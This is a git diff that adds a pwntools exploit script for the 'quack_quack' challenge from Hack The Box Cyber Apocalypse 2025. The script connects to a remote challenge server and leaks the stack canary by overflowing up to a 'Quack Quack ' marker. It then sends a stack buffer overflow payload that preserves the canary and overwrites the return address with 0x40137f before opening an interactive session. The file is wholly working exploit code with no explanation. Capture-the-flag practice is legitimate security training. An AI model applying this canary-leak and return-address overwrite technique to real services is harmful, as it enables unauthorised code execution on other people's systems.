diff --git a/htb/cyber_apocalypse_2025/quack_quack/exploit.py b/htb/cyber_apocalypse_2025/quack_quack/exploit.py
new file mode 100644
index 0000000..009e070
--- /dev/null
+++ b/htb/cyber_apocalypse_2025/quack_quack/exploit.py
@@ -0,0 +1,21 @@
+from pwn import remote, p64  
+
+NEEDLE = b'Quack Quack '
+LEN_NEEDLE = len(NEEDLE)
+
+with remote("83.136.251.145", "32656") as p:
+    p.recvuntil(b'> ')
+    p.sendline(b'A' * 0x59 + NEEDLE)
+    canary = b'\x00' + p.recvuntil(b'> ')[LEN_NEEDLE:LEN_NEEDLE + 7]
+    assert(len(canary) == 8)
+
+    exploit_string = (b'A' * 0x58) + canary + p64(0) + p64(0x40137f)
+
+    print(exploit_string)
+
+    p.sendline(exploit_string)
+
+    p.interactive()
+
+
+